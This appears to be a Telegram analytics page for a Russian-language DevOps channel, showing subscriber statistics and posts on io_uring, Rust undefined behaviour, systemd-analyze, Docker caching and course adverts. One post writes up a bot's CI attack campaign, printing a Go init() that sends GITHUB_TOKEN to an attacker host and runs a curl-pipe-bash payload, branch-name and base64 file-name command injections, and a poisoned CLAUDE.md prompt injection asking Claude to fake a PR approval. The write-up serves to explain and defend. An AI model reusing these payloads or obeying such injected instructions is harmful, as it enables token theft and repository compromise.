DeVops Библиотека
前往频道在 Telegram
Гайды, уроки и книги для Devops специалситов по всем вопросам @workakkk
显示更多9 463
订阅者
-324 小时
-77 天
-5030 天
数据加载中...
吸引订阅者
六月 '26
六月 '26
+6
在0个频道中
五月 '26
+59
在0个频道中
Get PRO
四月 '26
+86
在0个频道中
Get PRO
三月 '26
+139
在0个频道中
Get PRO
二月 '26
+269
在1个频道中
Get PRO
一月 '26
+305
在0个频道中
Get PRO
十二月 '25
+107
在0个频道中
Get PRO
十一月 '25
+190
在0个频道中
Get PRO
十月 '25
+118
在0个频道中
Get PRO
九月 '25
+378
在3个频道中
Get PRO
八月 '25
+205
在0个频道中
Get PRO
七月 '25
+457
在1个频道中
Get PRO
六月 '25
+299
在0个频道中
Get PRO
五月 '25
+117
在0个频道中
Get PRO
四月 '25
+3 767
在1个频道中
Get PRO
三月 '250
在0个频道中
Get PRO
二月 '250
在0个频道中
Get PRO
一月 '250
在0个频道中
Get PRO
十二月 '240
在0个频道中
Get PRO
十一月 '240
在1个频道中
Get PRO
十月 '240
在1个频道中
Get PRO
九月 '24
+26
在0个频道中
Get PRO
八月 '24
+652
在0个频道中
Get PRO
七月 '24
+641
在0个频道中
Get PRO
六月 '24
+849
在1个频道中
Get PRO
五月 '24
+360
在35个频道中
Get PRO
四月 '24
+339
在44个频道中
Get PRO
三月 '24
+334
在20个频道中
Get PRO
二月 '24
+181
在0个频道中
Get PRO
一月 '24
+302
在43个频道中
Get PRO
十二月 '23
+1 888
在39个频道中
| 日期 | 订阅者增长 | 提及 | 频道 | |
| 03 六月 | +1 | |||
| 02 六月 | +2 | |||
| 01 六月 | +3 |
频道帖子
io_uring без розовых очков: 5 граблей, которые сожгли мне неделю, и где он реально быстрее epoll
Прод. Сервис на Go, 80k RPS, p99 latency 12 мс. Читаю Phoronix, новость: "io_uring быстрее epoll в 2-4 раза". Решаю переписать сетевую часть. Через неделю - откат в master. p99 не упал, а вырос до 18 мс, CPU подскочил на 15%, под нагрузкой иногда залипает на 200-400 мс. Эта статья - не про "io_uring - будущее async I/O", а про то, что в этом будущем реально работает в 2026 году, что нет, и где меня обманули бенчмарки.
https://habr.com/ru/articles/1039820/
| 2 | 🖥 C# Roadmap: с нуля до профи
Практическое руководство по росту в C#-разработке. Материал собран для тех, кто хочет получить инженерную глубину, а не просто накликать CRUD по туториалам.
Здесь последовательность изучения, лучшие практики, ресурсы и трезвый разбор того, как работать с ИИ-инструментами и оставаться востребованным.
https://github.com/Develp10/Csharp_Roadmap/ | 940 |
| 3 | 👣 Твой код на Rust компилируется, проходит тесты и является UB. Ты просто об этом не знаешь
Если взять случайный крейт с crates.io, поставить на него Miri и подождать минут пять, шанс увидеть красное сообщение про undefined behavior где-то в зависимостях стремится к единице. Чаще всего виноват не автор хитрого unsafe-блока ради скорости, а вполне обычная библиотека, которой пять лет, у которой звёзд на гитхабе больше, чем у твоего пет-проекта строчек кода, и которая всё это время спокойно лежит в продакшене.
Самое неприятное в этой истории то, что компилятор ничего не скажет. Тесты пройдут. Бенчмарки покажут красивые наносекунды. А потом LLVM 19 обновится до LLVM 20, поменяет один проход оптимизации, и твой сервис начнёт ронять прод по понедельникам. Чтобы понять, почему так происходит, придётся залезть в три темы, которые в обычной жизни Rust-разработчика не встречаются: pointer provenance, Stacked Borrows и пришедшую им на смену Tree Borrows.
https://uproger.com/tvoj-kod-na-rust-kompiliruetsya-prohodit-testy-i-yavlyaetsya-ub-ty-prosto-ob-etom-ne-znaesh/ | 1 039 |
| 4 | Быстрый анализ загрузки через systemd-analyze
На сервере все ок: железо норм, диски норм, но после ребута он думает о смысле жизни секунд 40. Обычно лезешь сразу в сервисы, логи и смотришь что запустилось, а что еще нет. Но иногда юнит не падает, а просто висит в starting и ждёт сеть, DNS, диск или маунт.
Что делает systemd-analyze
systemd-analyze вскрывает сколько заняло ядро, сколько занял userspace, и какие юниты съели время.
Кто тормозит
systemd-analyze blame
Она покажет список юнитов, отсортированный по времени старта. Важно: это не всегда время выполнения, а то, сколько юнит считался стартующим. Но обычно виновники видны сразу.
Дерево зависимостей
Когда юнит тормозит, часто причина не в нём, а в том, что он ждёт сеть, диск, другой сервис.
systemd-analyze critical-chain
Эта штука показывает цепочку, что блокировало путь до default.target. Видно кто кого ждал и где пробка.
График загрузки для красивого разбора
Если хочется визуально показать коллеге почему оно долго стартует, есть SVG-таймлайн.
systemd-analyze plot > boot.svg
Открываешь boot.svg в браузере и видишь полосочки, кто и когда стартовал.
Вывод
systemd-analyze это твой способ увидеть кто, где и почему тормозит загрузку и кто кого ожидает. | 799 |
| 5 | 🖥 На Stepik обновили курс «C# с нуля до профи»
Представьте: через четыре месяца вы открываете чужой .NET-проект и читаете его как книгу.
IServiceCollection не вызывает ступора. async Task<IActionResult> пишется на автомате. Вы точно знаете, почему EF Core сгенерировал именно такой SQL - и как переписать запрос, чтобы он летал.
Это не фантазия. Это результат после 16 модулей, в которых каждая концепция объясняется через код и закрепляется практикой.
ООП, SOLID, LINQ, async/await, DI, EF Core, ASP.NET Core, Docker, Kubernetes - всё, что казалось магией, станет рабочим инструментом.
А бонусом - портфолио проектов: от CLI-утилит и REST API до собственного SaaS с multi-tenancy, JWT и деплоем в Kubernetes под TLS.
Скидка - 58% доступна 48 часов: https://stepik.org/a/282984/ | 899 |
| 6 | 🚀 Мощный панель управления для игровых серверов
MCSManager — это современная веб-панель для управления серверами Minecraft, Steam и другими играми. Она позволяет легко управлять несколькими серверами с одного интерфейса, предлагая надежную систему разрешений для пользователей и поддержку многоязычности.
🚀 Основные моменты:
- Быстрая установка игровых серверов с помощью встроенного магазина приложений.
- Поддержка множества игр, включая Terraria и Project Zomboid.
- Настраиваемый интерфейс с возможностью перетаскивания элементов.
- Поддержка Docker и коммерческого хостинга.
- Легковесная архитектура на TypeScript.
📌 GitHub: https://github.com/MCSManager/MCSManager | 894 |
| 7 | 📎 Один бот, пять техник
За неделю автономный бот атаковал пять крупных репозиториев и каждый раз использовал новый способ. Пейлоад во всех случаях одинаковый — curl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить.
Атака 1. avelino/awesome-go — кража токена через Go init()
Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка.
Бот добавил функцию init() в Go-скрипт качества кода. В Go init() запускается автоматически до main(), поэтому вырезать её из потока выполнения нельзя.
В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад:
func init() {
_ = exec.Command("bash", "-c",
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` +
`https://recv.hackmoltrepeat.com/ &&` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}
Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами contents: write и pull-requests: write ушёл на внешний сервер.
Атака 2. project-akri/akri — прямая инъекция в shell-скрипт
Самая простая атака в кампании. Бот добавил одну строку в начало version.sh сразу после shebang:
#!/usr/bin/env bash
curl -sSfL https://hackmoltrepeat.com/molt | bash
check_file_version()
Никакой обфускации. Потом написал комментарий /version minor в PR, который запустил воркфлоу Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг Update version minor завершился успешно.
Проблема в том, что воркфлоу не проверял author_association — любой пользователь GitHub мог написать /version minor в любом PR и запустить выполнение кода.
Атака 3. microsoft/ai-discovery-agent — пейлоад в имени ветки
Сам PR был тривиальным — одна правка в devcontainer.json. Атака была в имени ветки:
dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)
Bash разворачивает {curl,-sSfL,...} в curl -sSfL ..., а ${IFS} становится пробелом, а $({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду:
run: |
echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref
Это превращалось в:
echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ...
Bash выполнял команду внутри $(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды.
Атака 4. DataDog/datadog-iac-scanner — base64 в имени файла
Бот создал файл с именем, содержащим закодированную команду:
documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md
При декодировании base64-строка разворачивается в curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через ${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда.
Атака 5. ambient-code/platform — prompt injection в CLAUDE.md
Бот заменил CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в README.md, закоммитить его и написать фейковый одобряющий отзыв о PR.
Воркфлоу запускал Claude Code с правами записи и токеном CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный CLAUDE.md.
Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow.
Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор. | 1 084 |
| 8 | ⚡️ Вы слышали про Rust. Знаете, что он быстрый, безопасный и что за ним будущее.
Осталось одно: сесть и выучить.
Этот курс со Stepik- кратчайший путь от «знаю что такое Rust» до «пишу на нём».
6 модулей, 50 уроков, 143 теста. Ownership, borrowing, traits, async, Tokio, Axum, макросы, WASM — всё разложено по полочкам и закреплено практикой.
Никакого видео на 40 минут ради одной мысли. Подробный текст, много кода, реальные задачи после каждого урока. На выходе — портфолио из 10+ проектов: от CLI-утилит до REST API с базой данных.
48 часов действует скидка 55 процентов: stepik.org/course/269250 | 875 |
| 9 | Шпаргалка Kubernetes | 1 163 |
| 10 | 🐧 Лайфхак по Linux, который реально экономит время
Команда find умеет не только искать файлы, но и сразу что-то с ними делать через -exec.
Пример:
$ find ~/ -type f -exec ls -lah {} \;
Что происходит:
find находит все файлы и для каждого запускает ls, показывая права, размер и метаданные.
Как работает -exec:
- exec ls - команда, которую нужно выполнить
- -lah - формат вывода (права, скрытые файлы, размеры)
- {} - подставляет имя каждого найденного файла
- \; - завершает команду (экранируем, иначе shell сломает)
Полезно, когда нужно применить одно действие к куче файлов в разных местах.
Важно:
вместо \; можно использовать +
тогда команда будет применяться сразу к группе файлов — быстрее и эффективнее
Пример с несколькими командами:
$ find . -name "*.txt" -exec wc {} \; -exec du -sh {} \;
Считает слова и сразу показывает размер каждого файла.
Сохрани — это база для работы с файлами в Linux. | 1 104 |
| 11 | Prometheus на пальцах: как устроен главный инструмент мониторинга 🔍
Разбираем архитектуру Prometheus без лишней теории - только суть:
1. Discovery & Retrieval
Автоматически находит сервисы (например, в Kubernetes) и начинает собирать с них метрики.
2. Prometheus Server
Главный мозг системы - ходит по таргетам, собирает данные, обрабатывает и управляет хранением.
3. TSDB
Встроенная time-series база, где лежат все метрики - быстро отвечает как на realtime, так и на исторические запросы.
4. Pushgateway
Нужен для короткоживущих задач - они пушат метрики перед завершением.
5. Exporters
Адаптеры для сторонних систем - превращают их метрики в понятный для Prometheus формат.
6. Alertmanager
Следит за правилами и шлёт алерты в Slack, почту и другие каналы.
7. PromQL + Grafana
Пишешь запросы, строишь графики, собираешь дашборды.
https://www.youtube.com/shorts/zix3HbQ96qc | 1 154 |
| 12 | ⚡️ Чек-лист для твоего Linux сервера
Перед тем как ставить проекты и открывать порты - приведи сервер в порядок.
Мой чек-лист на первые 10 минут:
- обнови систему и поставь базовые утилиты
- создай отдельного пользователя и запрети root-login по SSH
- включи firewall (UFW) и открой только нужные порты
- настрой SSH-ключи вместо пароля
- включи авто-обновления безопасности
- зафиксируй таймзону и проверь логи
- поставь fail2ban, чтобы брутфорс не убил сервер за ночь
Это база, которая спасает 90% проблем на проде.
sudo apt update && sudo apt -y upgrade
sudo apt -y install htop curl wget git ufw fail2ban unattended-upgrades
sudo timedatectl set-timezone Asia/Bangkok
sudo adduser deploy && sudo usermod -aG sudo deploy
sudo ufw allow OpenSSH && sudo ufw allow 80,443/tcp && sudo ufw --force enable
sudo sed -i 's/^#?PasswordAuthentication./
PasswordAuthentication no/' /etc/ssh/sshd_config
sudo sed -i 's/^#?PermitRootLogin./PermitRootLogin no/' /etc/ssh/sshd_config
sudo systemctl restart ssh
sudo dpkg-reconfigure --priority=low unattended-upgrades
sudo systemctl enable --now fail2ban | 1 234 |
| 13 | 🔐 Большинство курсов по кибербезопасности учат определения.
Этот курс на Stepik учит думать как хакер.
SQL-инъекции, XSS, CSRF, эксплуатация бинарников, обход аутентификации - не в теории, а через живые задачи с реальными payload'ами.
В финале - полноценный пентест-проект с CVSS-оценками и отчётом, как у профессиональных команд безопасности.
Нулевой опыт? Не страшно.
Всё - в легальной изолированной среде, с нуля до уровня пентест-собеседования.
👉 Начни здесь → https://stepik.org/a/279968/ | 834 |
| 14 | Ты думаешь языки программирования - это просто код?
На самом деле у каждого есть своя родина.
C, Java, Go, Rust - все родились в США.
Python - из Нидерландов.
Kotlin - Россия.
Ruby - Япония.
Scala - Швейцария.
Фактически весь стек, на котором держится современный интернет - это глобальная сборка идей со всего мира.
И чем дальше, тем сильнее это смешивается.
Сохрани, чтобы не забыть, и подпишись на канал - здесь объясняю сложные вещи простым языком
https://youtube.com/shorts/GXVX5fyEBVM?si=YgzKPCw-x0XG3doO | 797 |
| 15 | 🧠 Контейнерный стек - кто за что отвечает
1. Podman
👉 альтернатива Docker без демона, можно запускать контейнеры rootless
🔗 https://podman.io
2. containerd
👉 низкоуровневый runtime, который реально контейнеры
🔗 https://containerd.io
3. CRI-O
👉 runtime специально для Kubernetes
🔗 https://cri-o.io
4. runc
👉 самый низкий уровень (OCI runtime)
🔗 https://github.com/opencontainers/runc
5. Buildah
👉 сборка образов без Docker
🔗 https://buildah.io
6. Kaniko
👉 сборка образов внутри Kubernetes
🔗 https://github.com/GoogleContainerTools/kaniko
7. nerdctl
👉 docker-подобный CLI для containerd
🔗 https://github.com/containerd/nerdctl
8. Rancher Desktop
👉 локальный Kubernetes + контейнеры
🔗 https://rancherdesktop.io
9. OrbStack
👉 быстрый dev environment для macOS
🔗 https://orbstack.dev
10. LXC / LXD
👉 системные контейнеры (почти как VM)
🔗 https://linuxcontainers.org
11. Colima
👉 лёгкая альтернатива Docker Desktop
🔗 https://github.com/abiosoft/colima
12. Lima
👉 лёгкая VM для macOS
🔗 https://github.com/lima-vm/lima
💡 Как это связать
👉 runc → запускает контейнер
👉 containerd / CRI-O → управляют контейнерами
👉 Podman / nerdctl → интерфейс
👉 Buildah / Kaniko → сборка
👉 Rancher / OrbStack / Colima → dev окружение
👉 Lima → VM база
👣 Полезные ресурсы Go 🚀Max
@Golang_google | 893 |
| 16 | 👣 Microsoft выкатили RustTraining.
Вот лишь часть тем, которые сразу зацепили:
- Async в продакшене
- Конкурентность и runtime
- Почему разработчикам на C/C++ стоит переходить на Rust
- no_std — Rust без стандартной библиотеки
- Зачем Rust разработчикам на C#
- Системное программирование и продакшн
- Unsafe Rust - управляемый риск
- Phantom types
- Машины состояний для протоколов
И это только малая часть.
Похоже, туда вложили очень много работы, точно стоит выделить время и пройтись.
github.com/microsoft/RustTraining/ | 929 |
| 17 | ➡️ Архитектура Linux простыми словами
Linux — это не просто система, а набор слоёв, которые работают вместе:
1. 🖥 Hardware
Железо: процессор, память, сеть — всё, что даёт вычислительную мощность
2. ⚙️ Kernel
Ядро системы — управляет ресурсами и напрямую общается с железом
3. 💻 Shell
Интерфейс (например, Bash), который переводит команды пользователя в язык ядра
4. 🛠 Utilities
Системные утилиты (ls, grep, cp) — инструменты для работы с системой
5. 🌐 Applications
Приложения: браузеры, плееры, IDE — то, с чем работает пользователь
📌 Как это работает вместе:
Ты вводишь команду → shell передаёт её ядру → ядро обращается к железу → утилиты/приложения выполняют задачу
Просто, но гениально.
#Linux #DevOps #Backend | 948 |
| 18 | 🐳 Docker Layer Caching Trick
Многие Docker-сборки занимают 5–10 минут
даже если вы изменили одну строку кода.
Причина - неправильный порядок инструкций в Dockerfile.
🚫 Плохой Dockerfile
COPY . /app
RUN npm install
RUN npm run build
Если меняется любой файл в коде →
слой COPY . меняется.
Docker сбрасывает кэш и заново запускает:
• npm install
• build
Даже если зависимости не менялись.
⏳ В итоге - каждая сборка почти с нуля.
✅ Правильный Dockerfile
COPY package*.json /app
RUN npm install
COPY . /app
RUN npm run build
Теперь Docker работает умнее:
если изменился только код:
• слой npm install берётся из кэша
• пересобирается только build
⚡ Время сборки
До - ~10 минут
После - ~30 секунд
📌 Золотое правило Dockerfile
Сначала кладём то, что редко меняется:
• package.json
• package-lock.json
• requirements.txt
• go.mod
А часто меняющееся - в конце:
• исходный код
• конфиги
• assets
🚀 Результат
• быстрее сборки Docker
• быстрее CI/CD
• быстрее деплой
Иногда достаточно просто поменять порядок строк в Dockerfile.
🎯Полезные DEVOPS ресурсы 🚀 Max
Docker в телеграм | 940 |
现已上线!2025 年 Telegram 研究 — 年度关键洞察 
